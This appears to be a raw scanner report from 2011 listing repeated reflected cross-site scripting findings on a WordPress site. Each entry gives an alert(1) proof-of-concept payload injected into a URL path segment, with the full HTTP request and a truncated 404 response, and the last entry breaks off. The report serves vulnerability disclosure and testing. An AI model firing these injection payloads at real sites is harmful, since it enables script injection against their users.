The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b5400"><script>alert(1)</script>18ede8274ac was submitted in the REST URL parameter 2. This input was echoed as b5400\"><script>alert(1)</script>18ede8274ac in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /site/wp-contentb5400"><script>alert(1)</script>18ede8274ac/plugins/si-contact-form/captcha-secureimage/ctf_captcha.js HTTP/1.1 Host: wp-superslider.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: wpgb_visit_last-http://burp=Wed%20Feb%2002%202011%2009%3A46%3A33%20GMT-0600%20%28Central%20Standard%20Time%29; wpgb_visit_last_php-default=1296661497; __utmz=128106954.1296661566.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/14; bb2_screener_=1296661541+173.193.214.243; __utma=128106954.628123047.1296661566.1296661566.1296661566.1; __utmc=128106954; __utmb=128106954.1.10.1296661566;
Response
HTTP/1.1 404 Not Found Date: Wed, 02 Feb 2011 19:23:04 GMT Server: Apache/2.2.14 (Unix) mod_ssl/2.2.14 OpenSSL/0.9.8e-fips-rhel5 mod_bwlimited/1.4 X-Powered-By: PHP/5.2.12 X-Pingback: http://wp-superslider.com/site/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Set-Cookie: bb2_screener_=1296674584+173.193.214.243; path=/ Set-Cookie: wpgb_visit_last_php-default=1296674585; expires=Thu, 02-Feb-2012 19:23:05 GMT; path=/ Last-Modified: Wed, 02 Feb 2011 19:23:05 GMT Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 53392
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" xml:lang="en-US">
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 29535"><script>alert(1)</script>bb1a33e1d72 was submitted in the REST URL parameter 3. This input was echoed as 29535\"><script>alert(1)</script>bb1a33e1d72 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /site/wp-content/plugins29535"><script>alert(1)</script>bb1a33e1d72/si-contact-form/captcha-secureimage/ctf_captcha.js HTTP/1.1 Host: wp-superslider.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: wpgb_visit_last-http://burp=Wed%20Feb%2002%202011%2009%3A46%3A33%20GMT-0600%20%28Central%20Standard%20Time%29; wpgb_visit_last_php-default=1296661497; __utmz=128106954.1296661566.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/14; bb2_screener_=1296661541+173.193.214.243; __utma=128106954.628123047.1296661566.1296661566.1296661566.1; __utmc=128106954; __utmb=128106954.1.10.1296661566;
Response
HTTP/1.1 404 Not Found Date: Wed, 02 Feb 2011 19:23:06 GMT Server: Apache/2.2.14 (Unix) mod_ssl/2.2.14 OpenSSL/0.9.8e-fips-rhel5 mod_bwlimited/1.4 X-Powered-By: PHP/5.2.12 X-Pingback: http://wp-superslider.com/site/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Set-Cookie: bb2_screener_=1296674586+173.193.214.243; path=/ Set-Cookie: wpgb_visit_last_php-default=1296674587; expires=Thu, 02-Feb-2012 19:23:07 GMT; path=/ Last-Modified: Wed, 02 Feb 2011 19:23:07 GMT Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 53392
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" xml:lang="en-US">
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload fcc9c"><script>alert(1)</script>406f3f1b80a was submitted in the REST URL parameter 4. This input was echoed as fcc9c\"><script>alert(1)</script>406f3f1b80a in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /site/wp-content/plugins/si-contact-formfcc9c"><script>alert(1)</script>406f3f1b80a/captcha-secureimage/ctf_captcha.js HTTP/1.1 Host: wp-superslider.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: wpgb_visit_last-http://burp=Wed%20Feb%2002%202011%2009%3A46%3A33%20GMT-0600%20%28Central%20Standard%20Time%29; wpgb_visit_last_php-default=1296661497; __utmz=128106954.1296661566.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/14; bb2_screener_=1296661541+173.193.214.243; __utma=128106954.628123047.1296661566.1296661566.1296661566.1; __utmc=128106954; __utmb=128106954.1.10.1296661566;
Response
HTTP/1.1 404 Not Found Date: Wed, 02 Feb 2011 19:23:08 GMT Server: Apache/2.2.14 (Unix) mod_ssl/2.2.14 OpenSSL/0.9.8e-fips-rhel5 mod_bwlimited/1.4 X-Powered-By: PHP/5.2.12 X-Pingback: http://wp-superslider.com/site/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Set-Cookie: bb2_screener_=1296674588+173.193.214.243; path=/ Set-Cookie: wpgb_visit_last_php-default=1296674588; expires=Thu, 02-Feb-2012 19:23:08 GMT; path=/ Last-Modified: Wed, 02 Feb 2011 19:23:08 GMT Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 53392
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" xml:lang="en-US">
The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 21998"><script>alert(1)</script>61808997102 was submitted in the REST URL parameter 5. This input was echoed as 21998\"><script>alert(1)</script>61808997102 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /site/wp-content/plugins/si-contact-form/captcha-secureimage21998"><script>alert(1)</script>61808997102/ctf_captcha.js HTTP/1.1 Host: wp-superslider.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: wpgb_visit_last-http://burp=Wed%20Feb%2002%202011%2009%3A46%3A33%20GMT-0600%20%28Central%20Standard%20Time%29; wpgb_visit_last_php-default=1296661497; __utmz=128106954.1296661566.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/14; bb2_screener_=1296661541+173.193.214.243; __utma=128106954.628123047.1296661566.1296661566.1296661566.1; __utmc=128106954; __utmb=128106954.1.10.1296661566;
Response
HTTP/1.1 404 Not Found Date: Wed, 02 Feb 2011 19:23:09 GMT Server: Apache/2.2.14 (Unix) mod_ssl/2.2.14 OpenSSL/0.9.8e-fips-rhel5 mod_bwlimited/1.4 X-Powered-By: PHP/5.2.12 X-Pingback: http://wp-superslider.com/site/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Set-Cookie: bb2_screener_=1296674589+173.193.214.243; path=/ Set-Cookie: wpgb_visit_last_php-default=1296674590; expires=Thu, 02-Feb-2012 19:23:10 GMT; path=/ Last-Modified: Wed, 02 Feb 2011 19:23:10 GMT Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 53391
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" xml:lang="en-US">
The value of REST URL parameter 6 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload be147"><script>alert(1)</script>60a126f5ab0 was submitted in the REST URL parameter 6. This input was echoed as be147\"><script>alert(1)</script>60a126f5ab0 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /site/wp-content/plugins/si-contact-form/captcha-secureimage/ctf_captcha.jsbe147"><script>alert(1)</script>60a126f5ab0 HTTP/1.1 Host: wp-superslider.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: wpgb_visit_last-http://burp=Wed%20Feb%2002%202011%2009%3A46%3A33%20GMT-0600%20%28Central%20Standard%20Time%29; wpgb_visit_last_php-default=1296661497; __utmz=128106954.1296661566.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/14; bb2_screener_=1296661541+173.193.214.243; __utma=128106954.628123047.1296661566.1296661566.1296661566.1; __utmc=128106954; __utmb=128106954.1.10.1296661566;
Response
HTTP/1.1 404 Not Found Date: Wed, 02 Feb 2011 19:23:11 GMT Server: Apache/2.2.14 (Unix) mod_ssl/2.2.14 OpenSSL/0.9.8e-fips-rhel5 mod_bwlimited/1.4 X-Powered-By: PHP/5.2.12 X-Pingback: http://wp-superslider.com/site/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Set-Cookie: bb2_screener_=1296674591+173.193.214.243; path=/ Set-Cookie: wpgb_visit_last_php-default=1296674591; expires=Thu, 02-Feb-2012 19:23:11 GMT; path=/ Last-Modified: Wed, 02 Feb 2011 19:23:11 GMT Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 53392
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" xml:lang="en-US">
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 82727"><script>alert(1)</script>61afe33f333 was submitted in the REST URL parameter 1. This input was echoed as 82727\"><script>alert(1)</script>61afe33f333 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /site82727"><script>alert(1)</script>61afe33f333/wp-content/plugins/superslider-excerpt/plugin-data/superslider/ssExcerpt/default/default.css HTTP/1.1 Host: wp-superslider.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: wpgb_visit_last-http://burp=Wed%20Feb%2002%202011%2009%3A46%3A33%20GMT-0600%20%28Central%20Standard%20Time%29; wpgb_visit_last_php-default=1296661497; __utmz=128106954.1296661566.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/14; bb2_screener_=1296661541+173.193.214.243; __utma=128106954.628123047.1296661566.1296661566.1296661566.1; __utmc=128106954; __utmb=128106954.1.10.1296661566;
Response
HTTP/1.1 404 Not Found Date: Wed, 02 Feb 2011 19:22:22 GMT Server: Apache/2.2.14 (Unix) mod_ssl/2.2.14 OpenSSL/0.9.8e-fips-rhel5 mod_bwlimited/1.4 X-Powered-By: PHP/5.2.12 X-Pingback: http://wp-superslider.com/site/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Set-Cookie: bb2_screener_=1296674542+173.193.214.243; path=/ Set-Cookie: wpgb_visit_last_php-default=1296674542; expires=Thu, 02-Feb-2012 19:22:22 GMT; path=/ Last-Modified: Wed, 02 Feb 2011 19:22:22 GMT Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 53460
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" xml:lang="en-US">
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8345f"><script>alert(1)</script>a5d18f0e20a was submitted in the REST URL parameter 2. This input was echoed as 8345f\"><script>alert(1)</script>a5d18f0e20a in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /site/wp-content8345f"><script>alert(1)</script>a5d18f0e20a/plugins/superslider-excerpt/plugin-data/superslider/ssExcerpt/default/default.css HTTP/1.1 Host: wp-superslider.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: wpgb_visit_last-http://burp=Wed%20Feb%2002%202011%2009%3A46%3A33%20GMT-0600%20%28Central%20Standard%20Time%29; wpgb_visit_last_php-default=1296661497; __utmz=128106954.1296661566.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/14; bb2_screener_=1296661541+173.193.214.243; __utma=128106954.628123047.1296661566.1296661566.1296661566.1; __utmc=128106954; __utmb=128106954.1.10.1296661566;
Response
HTTP/1.1 404 Not Found Date: Wed, 02 Feb 2011 19:22:24 GMT Server: Apache/2.2.14 (Unix) mod_ssl/2.2.14 OpenSSL/0.9.8e-fips-rhel5 mod_bwlimited/1.4 X-Powered-By: PHP/5.2.12 X-Pingback: http://wp-superslider.com/site/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Set-Cookie: bb2_screener_=1296674544+173.193.214.243; path=/ Set-Cookie: wpgb_visit_last_php-default=1296674544; expires=Thu, 02-Feb-2012 19:22:24 GMT; path=/ Last-Modified: Wed, 02 Feb 2011 19:22:24 GMT Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 53461
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" xml:lang="en-US">
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2b6e4"><script>alert(1)</script>1a8376b51b was submitted in the REST URL parameter 3. This input was echoed as 2b6e4\"><script>alert(1)</script>1a8376b51b in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /site/wp-content/plugins2b6e4"><script>alert(1)</script>1a8376b51b/superslider-excerpt/plugin-data/superslider/ssExcerpt/default/default.css HTTP/1.1 Host: wp-superslider.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: wpgb_visit_last-http://burp=Wed%20Feb%2002%202011%2009%3A46%3A33%20GMT-0600%20%28Central%20Standard%20Time%29; wpgb_visit_last_php-default=1296661497; __utmz=128106954.1296661566.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/14; bb2_screener_=1296661541+173.193.214.243; __utma=128106954.628123047.1296661566.1296661566.1296661566.1; __utmc=128106954; __utmb=128106954.1.10.1296661566;
Response
HTTP/1.1 404 Not Found Date: Wed, 02 Feb 2011 19:22:25 GMT Server: Apache/2.2.14 (Unix) mod_ssl/2.2.14 OpenSSL/0.9.8e-fips-rhel5 mod_bwlimited/1.4 X-Powered-By: PHP/5.2.12 X-Pingback: http://wp-superslider.com/site/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Set-Cookie: bb2_screener_=1296674545+173.193.214.243; path=/ Set-Cookie: wpgb_visit_last_php-default=1296674545; expires=Thu, 02-Feb-2012 19:22:25 GMT; path=/ Last-Modified: Wed, 02 Feb 2011 19:22:25 GMT Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 53458
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" xml:lang="en-US">
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c8dbd"><script>alert(1)</script>faa582e2f65 was submitted in the REST URL parameter 4. This input was echoed as c8dbd\"><script>alert(1)</script>faa582e2f65 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /site/wp-content/plugins/superslider-excerptc8dbd"><script>alert(1)</script>faa582e2f65/plugin-data/superslider/ssExcerpt/default/default.css HTTP/1.1 Host: wp-superslider.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: wpgb_visit_last-http://burp=Wed%20Feb%2002%202011%2009%3A46%3A33%20GMT-0600%20%28Central%20Standard%20Time%29; wpgb_visit_last_php-default=1296661497; __utmz=128106954.1296661566.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/14; bb2_screener_=1296661541+173.193.214.243; __utma=128106954.628123047.1296661566.1296661566.1296661566.1; __utmc=128106954; __utmb=128106954.1.10.1296661566;
Response
HTTP/1.1 404 Not Found Date: Wed, 02 Feb 2011 19:22:26 GMT Server: Apache/2.2.14 (Unix) mod_ssl/2.2.14 OpenSSL/0.9.8e-fips-rhel5 mod_bwlimited/1.4 X-Powered-By: PHP/5.2.12 X-Pingback: http://wp-superslider.com/site/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Set-Cookie: bb2_screener_=1296674547+173.193.214.243; path=/ Set-Cookie: wpgb_visit_last_php-default=1296674547; expires=Thu, 02-Feb-2012 19:22:27 GMT; path=/ Last-Modified: Wed, 02 Feb 2011 19:22:27 GMT Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 53461
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" xml:lang="en-US">
The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 367a3"><script>alert(1)</script>72b3425ad17 was submitted in the REST URL parameter 5. This input was echoed as 367a3\"><script>alert(1)</script>72b3425ad17 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /site/wp-content/plugins/superslider-excerpt/plugin-data367a3"><script>alert(1)</script>72b3425ad17/superslider/ssExcerpt/default/default.css HTTP/1.1 Host: wp-superslider.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: wpgb_visit_last-http://burp=Wed%20Feb%2002%202011%2009%3A46%3A33%20GMT-0600%20%28Central%20Standard%20Time%29; wpgb_visit_last_php-default=1296661497; __utmz=128106954.1296661566.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/14; bb2_screener_=1296661541+173.193.214.243; __utma=128106954.628123047.1296661566.1296661566.1296661566.1; __utmc=128106954; __utmb=128106954.1.10.1296661566;
Response
HTTP/1.1 404 Not Found Date: Wed, 02 Feb 2011 19:22:28 GMT Server: Apache/2.2.14 (Unix) mod_ssl/2.2.14 OpenSSL/0.9.8e-fips-rhel5 mod_bwlimited/1.4 X-Powered-By: PHP/5.2.12 X-Pingback: http://wp-superslider.com/site/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Set-Cookie: bb2_screener_=1296674548+173.193.214.243; path=/ Set-Cookie: wpgb_visit_last_php-default=1296674549; expires=Thu, 02-Feb-2012 19:22:29 GMT; path=/ Last-Modified: Wed, 02 Feb 2011 19:22:29 GMT Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 53460
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" xml:lang="en-US">
The value of REST URL parameter 6 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 51aa1"><script>alert(1)</script>6001cc5eecf was submitted in the REST URL parameter 6. This input was echoed as 51aa1\"><script>alert(1)</script>6001cc5eecf in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /site/wp-content/plugins/superslider-excerpt/plugin-data/superslider51aa1"><script>alert(1)</script>6001cc5eecf/ssExcerpt/default/default.css HTTP/1.1 Host: wp-superslider.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: wpgb_visit_last-http://burp=Wed%20Feb%2002%202011%2009%3A46%3A33%20GMT-0600%20%28Central%20Standard%20Time%29; wpgb_visit_last_php-default=1296661497; __utmz=128106954.1296661566.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/14; bb2_screener_=1296661541+173.193.214.243; __utma=128106954.628123047.1296661566.1296661566.1296661566.1; __utmc=128106954; __utmb=128106954.1.10.1296661566;
Response
HTTP/1.1 404 Not Found Date: Wed, 02 Feb 2011 19:22:30 GMT Server: Apache/2.2.14 (Unix) mod_ssl/2.2.14 OpenSSL/0.9.8e-fips-rhel5 mod_bwlimited/1.4 X-Powered-By: PHP/5.2.12 X-Pingback: http://wp-superslider.com/site/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Set-Cookie: bb2_screener_=1296674551+173.193.214.243; path=/ Set-Cookie: wpgb_visit_last_php-default=1296674551; expires=Thu, 02-Feb-2012 19:22:31 GMT; path=/ Last-Modified: Wed, 02 Feb 2011 19:22:31 GMT Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 53460
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" xml:lang="en-US">
The value of REST URL parameter 7 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 116ab"><script>alert(1)</script>ee2c400a80f was submitted in the REST URL parameter 7. This input was echoed as 116ab\"><script>alert(1)</script>ee2c400a80f in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /site/wp-content/plugins/superslider-excerpt/plugin-data/superslider/ssExcerpt116ab"><script>alert(1)</script>ee2c400a80f/default/default.css HTTP/1.1 Host: wp-superslider.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: wpgb_visit_last-http://burp=Wed%20Feb%2002%202011%2009%3A46%3A33%20GMT-0600%20%28Central%20Standard%20Time%29; wpgb_visit_last_php-default=1296661497; __utmz=128106954.1296661566.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/14; bb2_screener_=1296661541+173.193.214.243; __utma=128106954.628123047.1296661566.1296661566.1296661566.1; __utmc=128106954; __utmb=128106954.1.10.1296661566;
Response
HTTP/1.1 404 Not Found Date: Wed, 02 Feb 2011 19:22:32 GMT Server: Apache/2.2.14 (Unix) mod_ssl/2.2.14 OpenSSL/0.9.8e-fips-rhel5 mod_bwlimited/1.4 X-Powered-By: PHP/5.2.12 X-Pingback: http://wp-superslider.com/site/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Set-Cookie: bb2_screener_=1296674552+173.193.214.243; path=/ Set-Cookie: wpgb_visit_last_php-default=1296674553; expires=Thu, 02-Feb-2012 19:22:33 GMT; path=/ Last-Modified: Wed, 02 Feb 2011 19:22:33 GMT Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 53462
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" xml:lang="en-US">
The value of REST URL parameter 8 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 5882b"><script>alert(1)</script>8f70873ebba was submitted in the REST URL parameter 8. This input was echoed as 5882b\"><script>alert(1)</script>8f70873ebba in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /site/wp-content/plugins/superslider-excerpt/plugin-data/superslider/ssExcerpt/default5882b"><script>alert(1)</script>8f70873ebba/default.css HTTP/1.1 Host: wp-superslider.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: wpgb_visit_last-http://burp=Wed%20Feb%2002%202011%2009%3A46%3A33%20GMT-0600%20%28Central%20Standard%20Time%29; wpgb_visit_last_php-default=1296661497; __utmz=128106954.1296661566.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/14; bb2_screener_=1296661541+173.193.214.243; __utma=128106954.628123047.1296661566.1296661566.1296661566.1; __utmc=128106954; __utmb=128106954.1.10.1296661566;
Response
HTTP/1.1 404 Not Found Date: Wed, 02 Feb 2011 19:22:34 GMT Server: Apache/2.2.14 (Unix) mod_ssl/2.2.14 OpenSSL/0.9.8e-fips-rhel5 mod_bwlimited/1.4 X-Powered-By: PHP/5.2.12 X-Pingback: http://wp-superslider.com/site/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Set-Cookie: bb2_screener_=1296674554+173.193.214.243; path=/ Set-Cookie: wpgb_visit_last_php-default=1296674554; expires=Thu, 02-Feb-2012 19:22:34 GMT; path=/ Last-Modified: Wed, 02 Feb 2011 19:22:34 GMT Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 53461
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" xml:lang="en-US">
The value of REST URL parameter 9 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 44970"><script>alert(1)</script>402867fa415 was submitted in the REST URL parameter 9. This input was echoed as 44970\"><script>alert(1)</script>402867fa415 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /site/wp-content/plugins/superslider-excerpt/plugin-data/superslider/ssExcerpt/default/default.css44970"><script>alert(1)</script>402867fa415 HTTP/1.1 Host: wp-superslider.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: wpgb_visit_last-http://burp=Wed%20Feb%2002%202011%2009%3A46%3A33%20GMT-0600%20%28Central%20Standard%20Time%29; wpgb_visit_last_php-default=1296661497; __utmz=128106954.1296661566.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/14; bb2_screener_=1296661541+173.193.214.243; __utma=128106954.628123047.1296661566.1296661566.1296661566.1; __utmc=128106954; __utmb=128106954.1.10.1296661566;
Response
HTTP/1.1 404 Not Found Date: Wed, 02 Feb 2011 19:22:37 GMT Server: Apache/2.2.14 (Unix) mod_ssl/2.2.14 OpenSSL/0.9.8e-fips-rhel5 mod_bwlimited/1.4 X-Powered-By: PHP/5.2.12 X-Pingback: http://wp-superslider.com/site/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Set-Cookie: bb2_screener_=1296674557+173.193.214.243; path=/ Set-Cookie: wpgb_visit_last_php-default=1296674557; expires=Thu, 02-Feb-2012 19:22:37 GMT; path=/ Last-Modified: Wed, 02 Feb 2011 19:22:37 GMT Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 53461
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" xml:lang="en-US">
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 75bf0"><script>alert(1)</script>d53f8f09d5f was submitted in the REST URL parameter 1. This input was echoed as 75bf0\"><script>alert(1)</script>d53f8f09d5f in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /site75bf0"><script>alert(1)</script>d53f8f09d5f/wp-content/plugins/superslider-login/plugin-data/superslider/ssLogin/default/default_horizontal.css HTTP/1.1 Host: wp-superslider.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: wpgb_visit_last-http://burp=Wed%20Feb%2002%202011%2009%3A46%3A33%20GMT-0600%20%28Central%20Standard%20Time%29; wpgb_visit_last_php-default=1296661497; __utmz=128106954.1296661566.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/14; bb2_screener_=1296661541+173.193.214.243; __utma=128106954.628123047.1296661566.1296661566.1296661566.1; __utmc=128106954; __utmb=128106954.1.10.1296661566;
Response
